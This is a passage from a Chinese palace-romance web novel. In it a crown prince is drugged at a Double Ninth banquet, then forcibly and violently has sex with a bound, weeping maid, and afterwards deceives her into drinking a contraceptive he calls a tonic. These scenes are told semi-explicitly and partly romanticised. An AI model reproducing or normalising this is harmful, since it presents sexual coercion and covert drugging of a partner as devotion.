待到重阳节宫宴那一日，范牧君早早来到明仁宫。正殿殿门尚未打开，她轻车熟路绕花苑拱门，沿途之前那批菊花开败，全部换了新菊，重新布景。 她再从后门进殿，皇后正听仙韶院报今日备选的燕乐曲目，范牧君安静候在一旁。 那仙韶都头全部汇报完，上首皇后才合着眼皮道：“你安排得很好，就这几首吧，到时候让官家挑。” “喏。” 待仙韶院的人走了以后，范牧君才绽笑颜，欢喜上前：“姑母。” 皇后睁眼，微笑。 范牧君让随行的女使递呈：“我带了些江记的菊饼孝敬姑母。” 江记饼铺开在抚州的范家老宅旁边，每逢重阳制菊饼，只此一季，味道数十年不变。 范牧君不是在老宅长大，但皇后是。皇后依旧微笑：“你这孩子，回回来都这么客气。” 皇后抬臂，范牧君即刻去扶皇后的手，皇后却把她手抓住，牵起来，亲亲热热道：“走，和姑母一道赴宴去，就近就不坐舆了。” 重阳宴宗室百官，四品及以上官员亲眷都会进宫，男女分殿分席，在延福宫同乐。 范牧君垂首不语，迁就着皇后步调往延福宫去，后面隔一段距离，远远跟随二、三十内侍和宫人。 沿路两侧亦摆满寿菊，这条路上多是粉蓝色牡丹菊，皇后直说好看，待到途中，范牧君起了个话头，将昨日歹人之事一说，提及“庆丰十三年的扬州”时，皇后微微色变，但眨了下眼，旋即恢复正常。 待后面什么承诺、兑现，她已气定神闲，古井无波。 皇后继续和范牧君边走边品菊，百来步后，皇后蹙眉失神：“好侄女，帮老身想想，刚刚殿里仙韶都头报的燕乐，是哪几首备选来着？《好事近》、《法曲献仙音》，还有两出是什么？这才多久，我这记性就记不住了呢？” 范牧君记得是《秋宵吟》、《卜算子》 ，却犯难道：“我当时也没认真听……要不……我去仙韶院问问？” 后头这么多宫人内侍，哪该轮到她？ 皇后却颔首：“有劳你了。” 待范牧君去远，皇后才招呼了一个贴身内侍近前，低声询问：“太子从江南带回来的那个女人，可有打听新音信？” “回娘娘，上次小的套了东宫袁未罗的话，得知那小娘子当街拦腰抱住殿下，非说殿下是她官人，这样才认识的。”内侍唾一口，“为着攀附，脸都不要了。” 皇后脸色神色难辨：“找个由头，引她来打照面。” * 今日重阳宴，宫里忙，东宫却还好，萍萍和夕照均闲着，夕照便动了去寻她家娘子的心思，并拜托萍萍有事帮她打掩护。 “好——”萍萍摆手，“你快去吧，早去早回。” 夕照走了不久，就有宫人慌慌张张跑进小院，张口就问：“你们院里其他人呢？” 这宫人生面孔，萍萍怔了下才回：“她们都当值去了。” 宫人说着转身：“那你来帮忙。” 萍萍闻言跟上，随她来到前面院里，中央突兀摆着三盆白菊，宫人抱起一盆：“这几盆菊花都要搬到披芳殿去，得两趟了。” 萍萍正蹲下来要抱，听见言语，两手各抱起一盆：“我能抱两盆。” 宫人看她一眼，往外走，萍萍跟着，她看这白菊花瓣或簇或垂，每一瓣都美得像浮光锦，真是国色天香。 萍萍立刻将这品种列为她最喜欢的菊花：“这是什么菊，怎么这样漂亮？” “这是瑞云殿。” 萍萍记名字，又笑问：“姐姐是哪个司的？怎么称呼？” 宫人沉默须臾，方回：“我是司苑的兰熏。” 萍萍院里没有司苑司的人，一个都不认识，信以为真，但仍有疑惑：“东宫的菊花为什么搬去披芳殿？” “今日开重阳宴，许多损耗，诸殿挪借，我们这些做下人的别打听！” 萍萍缩脖：“对不起。” 她们出东宫没走多久，前面宫人就抱菊让到一边，下拜：“参见皇后娘娘。” 皇后？ 萍萍眼皮一跳，赶紧也让路跪下。 皇后一行人从萍萍身边路过，萍萍余光偷瞟了眼，皇后眺着前方，压根没留意她们这些宫人。 这就是官人的生母，她的婆婆吗？ 她听说皇后不到十六岁就生太子，眼下将近四十，看起来像是三十左右，鹄峙鸾停，仪态万千，那鼻子和官人如出一辙。 萍萍生出一股熟悉感，但不亲切，既近又远，皇后一行人已经走出好远，她仍恍惚，还是同行的宫人喊醒她：“唉，想什么呢？搬花去披芳殿了！” 萍萍这才起身，抱菊赶路。 皇后那厢，走出许久，方才勾手命内侍近前：“太子待她如何？” 内侍附耳数句，皇后脸上露出浅淡蔑笑。 远处，柳树下，黄叶如金帐，等皇后的仪仗瞧不见了，一少年才挑帐般挑开柳条，笑道：她果然是娘娘宫里的。” 他身后还躲着个内侍，疑惑追问：“殿下您在说什么？” 少年上下打量内侍一眼，勒令：“本王和你换下衣裳。” “殿下和奴？” “是的，快点！” 等萍萍运完菊花，和那还有其它事的宫人分别，原路返回时，就听见有人喊：“紫絮。” 她完全忘记这个瞎编的名字，一个劲往东宫赶。 “紫絮。” “小紫絮。” 那声音越叫越快，萍萍停下脚步找了一圈，发现柳树下的少年内侍。 哦，想起来了，就是上回摔个大马趴那位！ 她朝内侍走：“你喊我有事吗？”她来回打量他：“我看着比你大得多，你合该唤一声姐姐。” 内侍笑嘻嘻：“不是我喊你，是柳树在喊你。” 说罢闭紧双唇，但同样的声音再次响起：“小紫絮。” 萍萍瘪嘴，几分无语，她也闭紧嘴巴：“中贵人，快喊姐姐。” “你也会腹语？”内侍眼眸愈亮，激动得快要跃起。 萍萍噘嘴：“我不会啊，方才是柳树让你喊姐姐。” …… 远处，蒋氏兄妹遥遥观望。 蒋音和眯眼嗤笑：“连七殿下都不认识，真是个傻子。” 她怎么会输给这种人。 蒋望回却反驳：“她不傻。”他转身不再偷看，负手朝举办重阳宴的延福宫走，低了下脑袋，“她很聪明。” 蒋音和司酝，亦要赴宴，追随兄长转身，刚想呛一句“情人眼里出西施”，就听蒋望回轻叹：“她只是总把人想得太好。” “呵——那我比她还想得好些。”蒋音和越说越快，“我连什么都不做，就能做回司膳这种话都信了。” 她侧首直直盯着蒋望回：“阿兄骗我。” 蒋望回只注视前方：“没有骗你，出了意外，我会再想办法。” * 萍萍踏入东宫，还未回小院，也是在前院，打扫的宫人突然朝她这边泼来一盆脏水。萍萍躲闪不急，被浇个半湿，本能闭眼。 好臭！ 待睁眼时，发现泼水的宫人自己完全不认识。 萍萍冲那宫人笑了笑，等一声道歉。 却不知那宫人是故意的。 萍萍侍了好几回寝，每回都到天亮才离开太子寝殿，东宫内众所周知。 有不少宫人暗地里妒忌。 有些人虽然恨，却忌惮太子，不敢亲自动手，便撺掇同样妒，性子直，脾气大的去做出头鸟，借刀杀人——今日这泼水的就是其中一鸟。 她刚泼完，旁边另一宫人就明知故劝：“哎呀你怎么这么不小心，快跟银娘子说声对不起。” 泼水宫人却叉腰：“道什么歉意？老娘泼的就是她！陪了几夜就以为鸡犬升天了？依我看呐，压根就没入殿下眼！” “哎呀你在说什么，快别说了。” “老娘就要说！她要真入了殿下的眼，怎么连个御侍都没拣着？白睡觉！” 萍萍呆呆愣在那里，不，这和官人说的好像有哪里不一样。 “走。”她胳膊上忽被一挽，回来的夕照拉着她就往里走，“别理她们，你越伫在这她们骂得越凶。” 萍萍跟着夕照一起回院，夕照关起院门：“这些人成天就会踩高捧低！” 她转回身，见萍萍脸上仍无笑意，便劝：“别听她们的，殿下对你挺好的，她们就是妒忌！” 入宫前萍萍做的夫妻，夕照却当世家婢女，懂萍萍所不懂，加之每回萍萍侍寝皆是夕照早晨进去铺床。她重新挽住萍萍手臂：“我看每回殿下都没让你喝避子汤，挺疼你的。” “避子汤？” “是啊，你不会不知道这种东西吧？”夕照比萍萍矮许多，仰面瞪着她，“以前我们家郎君宠幸姨娘，又不想她们生孩子，就会在欢好后送这种汤药。” 萍萍抿唇，仿佛被施了定身咒，一动不动想：她当然听过避子汤，但完全没往那方面想，他们是夫妻呀！ 她回忆了下，自从停了那“补气药”后，他回回最后都处理在外面，或腹或臀。 萍萍整个身子晃了晃。 * 柳湛下朝后继续在广场上同诸官员议政，而后直接从前殿去延福宫。中途要经过御池，湖面宽广可泛舟，走中间曲桥过湖心亭路最短，柳湛正要踏上桥，就听琴声骤响，是谁抬手一挥，便若流水潺潺。 弹得不错。 起码练了十年以上。 他循声望去，见湖心亭中不知谁家赴宴贵女，盛装打扮，端坐奏琴。 柳湛一眼看穿此女意图，心底叹了口气。 他如今已歇这方面心思，遂收回腿，改绕道沿湖行。走不多远，前方绿柳水杉，树丛遮掩，但仍能透过枝叶的缝隙间瞧见两位美貌小娘子正站在水边说话。 柳湛眯眼，皆有印象，一位是官家五、六年前封的郡君，另一位更青春的，正是中秋家宴上跳舞的郑美人。二女说着说着，郡君就落了水，口中直呼 救命，还边哭边喊：“妹妹你为何推我下来？” 柳湛瞧得分明，那郡君明明是自己跳下去的，郑美人碰都没碰到她，且她浮水的胳膊杂而不乱，分明是行家装低手，若让郡君真游起来，只怕能横渡此湖。 她估摸只瞧见个树影后的华盖，便认定是官家，毅然跳下。 所以说，囫囵做的决定，往往失望大于希望。柳湛悠悠地想，从树丛后绕出，不紧不慢踱至二女面前，身后跟着一队几十人仪仗，举华盖的举华盖，打伞扇的打伞扇，皆无甚表情。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-80 第71章 第七十一章 秋雨春信（上） 他安排宫人救人， 自己却背过身去。那郡君原先还存一丝诉苦希望，见太子如此避嫌，只能灰溜溜由宫人救上岸。 柳湛待她走后， 才转回身绕湖至延福宫， 宗室来了不少， 柳湛扫视，除却七大王和某位公主，其他皇子皇孙皆已坐定。 皇后稍候便至， 由范牧君搀扶到上首， 众人齐拜，皇后忙道平身， 又朝那几位鹤骨霜髯的老臣恭敬回以一拜：“今日重阳，该吾来拜诸位，年高德劭，国之幸事。” 诸老亦回：“娘娘尊高慈弱，圣德贤秀。” 等大伙重新坐定，好一会儿，七大王柳沛才带着一位贴身内侍赶至， 主仆两个都气喘吁吁。他在柳湛旁边坐下， 柳湛眺他一眼：“怎么来这么晚？” “又睡过头了。”柳沛坐好以后， 理了理朝服。 他身后内侍心道， 哪里是睡过头，上回七大王和他换衣裳逃禁足，上瘾了， 今日又换，戏弄人家宫婢。 “下回早些来。”柳湛劝弟弟。柳沛却满不在乎看向最上首空空的龙椅：“来早了也是干等。” 话音将落，官家至， 兄弟俩双双阖唇。 官家降撵即坐，卷帘扇开，鞭鸣乐止。 照例赐九盏御酒，每一盏皆有贺词和演出，第四盏由太子代敬诸位老臣，第九盏乐坊伶人齐舞《应天长》。 而后才开席。 依旧有歌舞杂耍等等，目不暇接。仙韶院呈了四首曲子《好事近》、《法曲献仙音》，《秋宵吟》、《卜算子》，官家挑了《好事近》和《卜算子》，皇后在旁瞧着，笑道：“我也有好事近。” 官家笑眯眯：“你有什么好事？” 皇后便朝下首蒋望回座位望去。 蒋望回面前有枣塔和一盘连骨卤羊，他晓得这些是看盘，不能动，正端着坐着等上可以吃的，却倏对上皇后目光。 皇后在找他？ 皇后笑着招了招手，蒋望回起身，缓缓走到上首，见官家也在打量自己，便依次向帝后行礼。 官家问皇后：“你把希颜喊上来做什么？人孩子还一口没吃呢。” 皇后笑瞪官家一眼：“就是希颜的好事！” 官家这才露出恍然大悟的表情，蒋望回却暗自一惊。 皇后起身：“希颜，你来。” 男女同宴不同席，皇后要去女宾的偏殿，边走边道好久不见蒋望回，关心他近况，继而提及刘祭酒的女儿。 皇后进殿时让蒋望回在门口等，不多时出来一位身段窈窕，烟眉瓜子脸的娘子，模样中上，瞧着就十六、七岁。 皇后应该同这位娘子也说好了相看，她见蒋望回便盈盈福身：“殿帅。” “刘娘子。”蒋望回隔着两臂距离，回以一礼，又道，“门口不方便说话，刘娘子可否移步凉亭？” 宫内多处御苑，奇石罗布，古木葱郁，那凉亭在殿外左手边的假山上。刘娘子含羞点了下脑袋。 蒋望回即刻抿唇转身，在前领路。 拾级登亭，刘娘子偷瞧他的背影——之前曾远瞻过太子，骨秀神清，见之难忘，蒋殿帅颜色虽然比太子稍差，但也算一等一的俊俏了，且身形着实魁梧。 刘娘子想到这脸上一红，走得稍快些。 蒋望回在前明显能察觉她步子乱了，只当不知不回头，他素爱负手，却怕刘娘子多想，一双胳膊直直垂在身前。 待二人都踏入凉亭，刘娘子还未坐下，蒋望回就道：“我今生志向沙场，无心为家。刘娘子毛施淑姿，将来定能觅到比蒋某更好的夫婿。” 他也没有坐下来，话说完了，不必坐了。 刘娘子先是一愣，继而眼泪像断线的珠子往外冒。蒋望回错愕。刘娘子吸了下鼻子：“殿帅再不喜欢奴，也请再坐坐吧，回太快奴会被她们耻笑的。” 蒋望回僵了一会，再退数步：“是在下考虑不周，冒犯了。” 他没有坐下，却也没再提离开。任刘娘子独坐亭中，自己在凉亭入口处背对她伫立。 周遭凉亭地势最高，四方一览无遗，蒋望回木然俯瞰，也不知站了多久，突然瞧见蒋音和快步出殿，东张西望，往西南角斜。插进一片竹林。 蒋望回蹙眉。 * 殿内。 柳湛自然瞥见了上首变化，只做不知。皇后和蒋望回离开时，他已收回余光。 非看盘已经上了两道，柳湛不打算动筷，只让内侍斟酒，银盏自酌。 “呵呵。” 旁边柳沛兀地一笑。 “你傻笑什么？”柳湛说着转头，见柳沛正凝视中央演奏的乐伶们。 “曲子好听。”柳沛笑吟吟，“六哥仔细听。” 柳湛静听，奏的是从小听到大，耳要起茧的《卜算子》，当世词曲意象，莫过杨花柳絮，这曲也唱，为着避讳，柳絮一律吟作风絮。 听了一会，无甚特别，柳湛垂耷眼皮觑柳沛，又觑那班伶人，只怕他这个弟弟意不在曲而在人。 看柳沛听曲的时候一杯接一杯喝，把酒当成解渴的水，柳湛不禁多劝一句：“少喝点。” 赶上叙职，淮西安抚使姚拱辰也来赴宴。柳湛早留意到，姚拱辰周围把酒言欢的全是早年一起参与经筵的世家子弟，如今皆至青壮，承嗣继任，他有心热络，举酒杯起身走近。 姚拱辰正和人说笑，一扭头瞥见柳湛，笑意更浓：“殿下来了。” 一帮人亦呼殿下，让出主座。 柳湛边坐下边感叹：“寿春一别，一晃近两月。” “是啊，这日子过得快的。”姚拱辰附和唏嘘。 柳湛举杯在空中虚绕一圈敬众人，继而笑道：“方才聊什么呢？继续，别因为孤打断了。” 一群世家子聚一起喝酒，回回聊的不过是学问文章、当家立事，若不是官家在上首，可能还多一样时政。 所以有人问起昔年同经筵的工部侍郎曹璟，今日缘何缺席时，众人只猜公干。姚拱辰更是大大咧咧道：“我上京，他离京，我和老曹这些年错过好几回。” 提问的大人却眯眼摆手：“非也非也，不是公干。” “老曹好像跟工部告了长假，我猜他是回去祭祖了？” “非也非也。” “难不成是调任？怎么一点风声没听到？” “都不是！”提问者神秘兮兮，“老曹家里的正头娘子趁他不在，发卖了有身子的通房，听那通房跟了老曹十几年的老人，他舍不得，告假找人去了！” 众人一听，多不在意曹璟和通房渊源，只觉他拧不清，或多或少流露鄙夷——这帮人聚一起从不聊女眷后宅，显得英雄气短，儿女情长。 唯独一直笑呵呵的姚拱辰听到这话笑骤僵住，眸色一黯。 身侧，柳湛看在眼里，呷口酒，压低声音问：“怎么了？” “没事。”姚拱辰摇摇头，恢复寻常神色。 “老曹糊涂啊，怎么能让通房有孕？”有人感慨。 又有人指众人当中某一世家子：“蹇步的通房之前不也怀过吗？当时闹挺大的。” 那唤蹇步的立马变脸：“非要旧事重提是不？” 偏有人想听，蹇步要紧牙关：“不讲不讲！” 丢脸得狠。 得饶人处且饶人，众人未再追问，转 说起重阳菊赋，唯有一和蹇步近几年特熟的，好奇附耳：“唉，到底怎么回事？单独说我听听。” 又是伶乐又是议论，旁人听不见他俩私语，柳湛却听得清，蹇步低语：“多少年前年少无知的事了，那时候以为不留里头就不会，其实……也是有可能的。” 柳湛握杯的手陡然攥紧。 “不会吧？当真？”这群世家子不乏行院行家，但向来只有男子磋磨女子，哪有琢磨自己的？ “当真……”蹇步嘀嘀咕咕教友，柳湛边喝酒边偷听，涨了学问以后心想，东宫也要备些羊肠了。 他再举杯，唇沾了才发现一杯已见底，喝光了。 柳湛臂往后举，示意内侍斟酒，察觉不对，扭头一看身后服侍之人已换成蒋音和。 柳湛愣了下，但银盏中酒色未变，细嗅亦无异样，他还是举杯饮下一大口。 继续把酒言欢。 约莫一刻钟后就开始不对劲，起先仅只脸颊发烫，渐渐腹下生火，隐约有抬头之势。柳湛急速起身，姚拱辰瞧见笑问：“殿下上哪去？” “有事。”柳湛滑了下喉头，丢下一句便疾步离开。他记得延福殿西南角有春信阁，周遭一圈竹冈环绕，幽静隐蔽，阁后还有瀑布深潭，实在不行可以浸身清心。 朱履匆匆踏在碎石子路上，如风穿竹，到春信阁门前，柳湛几乎是强忍着一脚踢开的冲动，用残存的理智推开门。 里面前摆翘头案、长颈瓶并一张春凳，帐后设有一张供人休憩的窄榻，墙上挂着填彩浓丽的珍禽图。 柳湛入榻打坐，极力抑制，那股邪火却越蹿越旺，隐隐燎原，他垂下脑袋，蒋音和就在这时入内，瞧见他低头，边解系带边道：“殿下没用的，这是化水特调的胡僧丸，自行纾解只会筋脉逆转，火上浇油。” 柳湛闭眼打坐，似不愿听她讲。 “也没法自行抑止，每拖延一刹便会加重一分，没有消散减退的道理，再忍下去会完全丧失清明。” 蒋音和嘴角浮起清浅笑意，说来还要多谢殿下送她去司酝司。 坠地的衣裙成圈，蒋音和只着抹胸跨出圈外：“奴心甘情愿做殿下药引。” 柳湛陡然射。出袖里剑，剑光如电直袭蒋音和咽喉，要取她性命，却忽地纵出一个身影挡在蒋音和面前。 蒋望回徒手抓剑刃，鲜血直流，双膝跪地：“蒋家愿誓死效忠殿下，但求殿下留小妹一条性命！”他怕蒋音和再多言，起手敲她脖颈，毫不犹豫打晕。 良久，柳湛盯着帐幔喘气，声音若三九寒冰：“把她带走。” 蒋望回旋即抱起音和，跪着给她穿衣。 柳湛喘着粗气又道：“带萍萍来。” 第72章 第七十二章 秋雨春信（下） 蒋望回上身往前倾了倾。 而后抱走音和， 步履如飞，奔逸绝尘，到此刻仍心惊胆战， 难以置信妹妹竟如此癫狂， 她怎么敢， 怎么敢对太子这样！ 蒋望回情不自禁忆起小时候的蒋音和，梳着三牙髻，胖乎乎两颊， 草丛中扑蝶就像一个白玉团子在滚， 好不容易捉到一只，咧嘴大笑， 正逢换齿，中央缺颗门牙。 她跑来给他看，因为急走得摇摆不稳，打开合着的两掌，那蝴蝶即刻飞走，她一愣然后大嚷：“阿兄快帮我追！” 怎么会被养成现在这样？ 蒋望回心中钝痛，又觉今日之事， 决计不能再瞒爹娘。 可爹娘知道后该有多伤心？ 仅只想想， 蒋望回就觉心如刀绞， 思量许多， 决定明日就让音和自请出宫，做居士抄经修行，至于是锁于家中还是送去尼寺， 亦或其它，要修书请蒋玄定夺。 司膳司离春信阁不远，他去过两回蒋音和住所， 清楚记路，但此番抱她回房改了道，一路避人，以免蒋音和清誉受损。 到房中替妹妹褪袍脱鞋，放到床上，盖好被子，本来还习惯性想给她备点茶水，脚下顿了顿，算了，不能再事事溺爱。 他再赶去找萍萍，东宫却离春信阁极远，几乎横穿，路上乌云渐拢，下起小雨，鸟从树间飞出，叽叽喳喳。 蒋望回受伤的那只手没时间治，好在他耐造，已自凝成血珠。 他将右手反背身后，左手叩门。 萍萍正独坐沉思，提壶给自己倒了杯水，喝了两口，望向窗外，天色青灰，每一扇窗隔着糊纸都见一注朦胧水瀑。 雨声如泼。 大雨盖住了叩门声，加之萍萍心思沉沉，半晌才听见，起身一打开门，檐上落下的水帘就往屋内斜飞，院中树木皆摇，她的袍角也霎时向后扬起，天地间全是哗哗雨声。 “蒋兄？”萍萍的声音飘向风雨中，即刻消散。 蒋望回神色凝重：“殿下遇险，只有娘子可解。” 萍萍一听，思忖质疑和难过瞬间抛掷脑后，只揪心柳湛安危：“他现在在哪里？” 问声轻颤，尾音有劈。 蒋望回滑了下喉头，避开对视：“我带娘子去找殿下。” 萍萍拿伞，可自己这屋只有一把，便要去向隔壁夕照借，蒋望回阻道：“不用了，我已经淋湿了。” 萍萍依然给蒋望回借了一把，两人一前一后，匆忙离开东宫。蒋望回没有选择大道，只挑幽静小道，避开行人，同样也顾忌萍萍清誉。他之前刻意隐藏受伤右手，行色匆匆一时忘记，甩了下手，萍萍瞅见：“蒋兄，你手怎么了？要不要看下？” “没事。” “好像流血了……疼吗？” “已经凝住了。”蒋望回答完这句才意识到她后半句还关心他疼不疼。 “没事，我皮粗肉糙。”他还是忍不住回头，地上石子多有青苔，叮嘱萍萍：“下雨路滑，娘子多加小心。” 他自己也稍微放慢脚步。 萍萍终于能追半步，离得近些，又问：“殿下遇到什么危险？是不是被刺客刺伤了？” 蒋望回庆幸雨大，沿伞骨滴下的雨滴，和地上泛起的雾气均能遮面：“殿下中了药。” 萍萍倒吸口冷气，只有她能解，中了什么药不言而喻。 她愤怒追问：“是谁给他下这种药？凶手捉到没有？” 听在蒋望回耳中比雨声还振聋发聩，他只敢瞩目前方：“凶手暂时还未查清。” 雨大，人声轻，萍萍没听清，再近前一步伞挤着伞，几乎到蒋望回脚边：“你说什么？凶手是谁？” 蒋望回视线移下，盯着她的袍子和鞋，她终于近到他伞下，却是此时。他重复刚才的话：“凶手暂时还未查清。” 萍萍这回听清了，吸口气又重重呼出，她相信天网恢恢，疏而不漏！ “殿下现在情况怎么样了？”她马上不纠结没掌握的，只关心柳湛的眼下和将来。 “我来的时候，殿下尚还清醒。” 萍萍闻言脚下又加快，赶了数步竟超过蒋望回。 蒋望回急忙也追赶，还是领在萍萍前面，带她穿竹林到春信阁。蒋望回抬手叩门：“殿下，萍娘子来了。” 下一瞬门就打开，伸出一只大手将萍萍抓进去，而后重重关上门。 萍萍被带得转了一个圈，闻到柳湛身上浓烈的龙涎香——她在司寝司已经学会辨香，最近几回见官人，闻过檀、沉、麝，这回龙涎，都不一样。 但是中秋节过后，她就再也没有从他身上嗅到橘子香。 她转过身正面打量柳湛——他眼稍潋滟薄红，五官因为用力些许狰狞，胸脯起伏，呼吸滚烫。 “官人，你还好吗？”关心则乱，萍萍再次忘记称呼殿下。柳湛直勾勾紧盯她，却好像没听到一样，将她抱起丢到榻上，撕开袍服，摁着她的背迫她跪好，而后纵身一挺，萍萍尚且干涩，疼得蹙眉，柳湛却不管不顾驰骋起来，扯着她的头发迫其后仰，萍萍头发也疼。 她从来没有经历这样漫长又单调的一场，无尽重复，结束时萍萍竟生出一种解脱感，还来不及吁气，柳湛就将她翻个身，接连数声裂帛声，他彻底扯断之前撕开的袍服，将她双手缚在床头，捉着她的两只脚踝再次开始，一场又一场，比之前更凶狠，萍萍喊了好几回疼也落了几滴泪，柳湛却毫无反应。空气中尽是石楠味道，屋内也比刚进来时多了许多氤氲热气，萍萍却觉得很冷，他得到现在都不曾给予她一个吻。 萍萍一遍又一遍，不住对自己说：官人是中了药，失却神志。 她挨个重温那三十一件回忆，从幸福甜蜜的旧事里汲取力量，支撑承受现在的官人。 冷汗混着之前路上淋的 雨，她浑身早已湿漉漉，发丝尽散，当中一缕过面颊蜿蜒至伸直的脖颈，一路紧贴。 榻前白纱飘逸，窗外雷鸣轰隆，一道闪电劈在窗上，照亮萍萍的脸，眉眼低垂却眼尾上翘，半睁半闭，面带微笑，她是舍身的观音，渡她的爱人。 没数到第几场，柳湛掌风挥开束缚，抱着她往帐外去，布条仍系在她腕上，一端垂落随颠簸起伏。 他放她到前面春凳上继续，不停不歇。 为防他人闯入，蒋望回一直守在门外，檐下雨仍如注，在他眼前成细细密密的水帘，再远些的修竹被雨冲刷后愈发苍劲葱翠。时已深秋，那竹下的泥地钻不出新笋，只能一摊污浊泥泞，烂死烂透。 来回走这一遭并守门外，蒋望回想凌迟之刑，一刀刀地慢剐，恐怕就是这样，眼底和口中的咸涩刚咽下，腥血却又交替涌上喉头。 …… 春信阁内，等柳湛清醒时，两人已经回到榻上，他跪立着，萍萍昏在他怀中。 柳湛拧眉揉了下太阳穴，只模糊记得些许片段，接着低头去看萍萍，猝地瞥见她手腕上一圈深红勒痕，两只手都是。柳湛揪心，本能伸手想要查看，却突然意识到这红痕是自己弄出来的，心生怯意，缓缓缩回手。 他再从颈往下，扫过她身上斑斑点点，挪目越来越艰难。柳湛颤抖着手抚着萍萍青丝，视线还在往下，浮肿污泥，又难免避子汤。 他心里难受，盯着想，要不……有孩子就有孩子吧，男也好女也好，他都会疼爱。 可转念心又一横，不行，现下绝不是要孩子的时候。 他会亲自配方子，全程监督，他敢担保不会再有腹痛，一定将伤害减到最小。 …… 等萍萍醒来时，先瞧见一个模糊身影，渐渐清晰，是柳湛守在床头。 “你醒了。”柳湛挤出一笑。 “官人你好了吗？”萍萍还未坐起就问，手一撑，发现浑身酸痛。 柳湛倾身扶住她：“不用着急起来，再躺一会吧。” 萍萍低头，见自己身上穿得整整齐齐，露出的手腕数处抹有药膏，她抬手袖子滑下，里面遮住的伤痕也全数抹药。 “对不起。”柳湛低声道。 “没事。”萍萍依然坐起，靠进柳湛怀中，“那下药之人还没查到吗？” 柳湛思忖须臾，垂下眼皮，含糊回应：“我中药后不大清醒。” 萍萍仰面看向柳湛：“是蒋兄跟我说的，应该那会他在负责查。” 柳湛嗯了一声。 她一脸诚恳地注视他：“你跟我说说，是怎么中药的？我也帮着分析分析。” 柳湛抬眼皮与她对视：“我在重阳宴上察觉不对劲。” 他清晰睹见她的表情从希冀认真变成微微犯难。 “那赴宴的得有几百人了吧？”萍萍问。 柳湛颔首：“大海捞针。” 萍萍连忙抓住他的手，劝慰道：“几百人也能查出来，不是有句话叫‘天网恢恢，疏而不漏’，老天爷有眼，不会叫人白受伤害。” 她的五指从他指缝间插进，柳湛心虚想躲，却又贪恋她手带来的温暖，终究一动不动，任由萍萍扣住。 少倾，柳湛回握，手与手贴得更紧，另一只空着的手去拿边几上的青瓷碗，温柔道：“来，把这个喝了。” 萍萍看里面荡着深褐一碗药。 良久不见她应声，亦未接过，柳湛抿了下唇，续道：“这还是之前那种滋阴补气的药。” “好久都没喝了。”萍萍低声接话。 柳湛搂着她，手在她胳膊上挪了两下：“今日要得太过，怕你亏损太多。” 萍萍伸手，接过药碗，柳湛缓缓松了口气。 她却没有即刻饮下，反而抬手直勾勾凝视柳湛：“殿下，”她的声音清脆，合唇，重启，“这到底是不是避子汤？” 其实，她也不是特别傻的。 第73章 第七十三章 此事古难全 “不是。”柳湛回道。 依照萍萍性子， 她应该回“你说不是便不是”，亦或者“我信你”，可她竟然什么也没说。甚至这些话不是卡在喉管， 而是压根就没有生出这类想法。 连萍萍自己也吃惊这变化， 懵了片刻， 才端起碗一饮而尽。 柳湛注视萍萍喉咙蠕动，些许懊恼，本来都已经决定用羊肠了， 却又饮汤。 他一面安慰自己这避子汤亲自经手， 伤害极小，一面又暗自许诺， 将来一定会给萍萍一个孩子。 且经历此番中药，柳湛隐隐觉得自己日后成亲，娶立太子妃，可能还是会像今天这样，完全无法接受别的女人。 “我回去了。”萍萍站起，瞬间身上又是一痛，咬牙忍住。她想回去， 不想让柳湛看出端倪又挽留。 柳湛嚅唇， 这就回去吗？还想和她多腻乎会。 中药之事隐蔽， 不能遣宫人送她， 他更不能亲自护送，正踟蹰如何接话，萍萍淡淡开口：“没事的， 我一个人回去就行。” 少倾，柳湛接话：“好，那你路上多小心。” 萍萍点头， 他送她到门口，外面雨早停。她跨出去，回头同他笑着挥手，柳湛瞧着她的酒窝，亦扬唇角：他的萍萍还是这样好。 萍萍背身远离。 她的腿合不拢，曲着膝一步步挪，好在袍服宽大瞧不见奇怪的走姿。 一口气撑着不敢停，回屋坐到椅上既脱力，一时再站不起来。 嗓子其实一直非常干，顺手倒了杯水，喝完仍觉渴，再一杯，渐将一壶水喝完。 先休息，待会再烧水吧…… 她想着，胳膊搭到桌上，就势趴会。 “银照、银照！”外面夕照把门拍得啪啪响，“去吃饭了！” “你帮我带一碗回来吧。”萍萍隔着门拜托。 夕照直接推开门：“你怎么了？”见她趴在桌上，“这上午又不当值，怎么还无精打采，如此疲惫？” 萍萍心想如果不是立刻就走回来，可能还没这么累，可她当时就是不想留在柳湛那里。 “晚上没睡好，有点不舒服。”她歪头冲夕照笑，“你帮我带一碗回来吧，谢谢了。” 夕照小大人，竟抬手揉了揉萍萍发髻：“好好，答应你，保管端回来还是热的。”她说着就往门外走，萍萍再次喊住她：“夕照。” 夕照回头。 “还有姚司膳的那份，辛苦你了。” “晓得，你好好歇着吧！” …… 今天中午后厨人不多，夕照很快返回，三人份一张盘端不下，她干脆讨了个多层食盒，一层装一个人的。头顶日头高悬，夕照眯眼仰望，太阳在天空的正中央，她家娘子教认过，这是午时三刻。 到萍萍房门口，夕照边推门边问：“今日还坐台阶上吃吗？” 陡然定住，看见桌上血和萍萍嘴边挂的血丝，傻眼了。 萍萍前倾，又吐出一口，夕照尖叫：“银照！” 她丢下食盒上前搀住萍萍，她家娘子说午时三刻是一天中阳气最盛最温暖的时候，银照的身子为什么会这样冷？ “你怎么了？”夕照带着哭腔问。 “我也不知道，”萍萍抚胸，“就是这突然好难受。” “我扶你先躺会。”夕照扶萍萍换了身衣裳躺下，又拿个盆放在床边：“你要还想吐就吐这里。” 萍萍泛冷汗：“谢谢。” 东宫司药司有挂职太医院的女医工，入宫那会还给她们检查过身体。夕照道：“我去请医工，很快回来。” 萍萍抿唇再谢，夕照全程用跑，不到一刻钟就拉了位背药箱的女医来。女医搭脉之后，脸色越来越难看。 夕照催问：“怎么样？她为什么会吐血？” 萍萍也跟女医阐述症状：“之前没觉得不舒服，就刚才这里突然攥着疼，又觉胀满，作呕，哪知一吐出来就是血，我自己也吓一大跳。” 女医神色凝重：“娘子是不是近期服用过避子汤？” 萍萍眼眶倏湿，阿湛是个大坏蛋！ 她答得艰难：“是。” 女医叹口气：“便是这避子汤伤身了。” 夕照 错愕瞅萍萍，又瞅女医，来回看，萍萍对上夕照的目光，更难过了。 “那怎么治？”夕照快嘴，“女史您救救她！” 女医一叹再叹：“慢慢养吧。” 萍萍却合着唇，不说话，冷静下来，如果阿湛给她一开始喝的就是避子汤，那副作用应该已经体验过，是肚子疼，尤其小腹坠涨，可这回完全不一样，萍萍手在被子里悄悄往上摸，这回不舒服的是肋骨以上，不知道是胃还是胆。 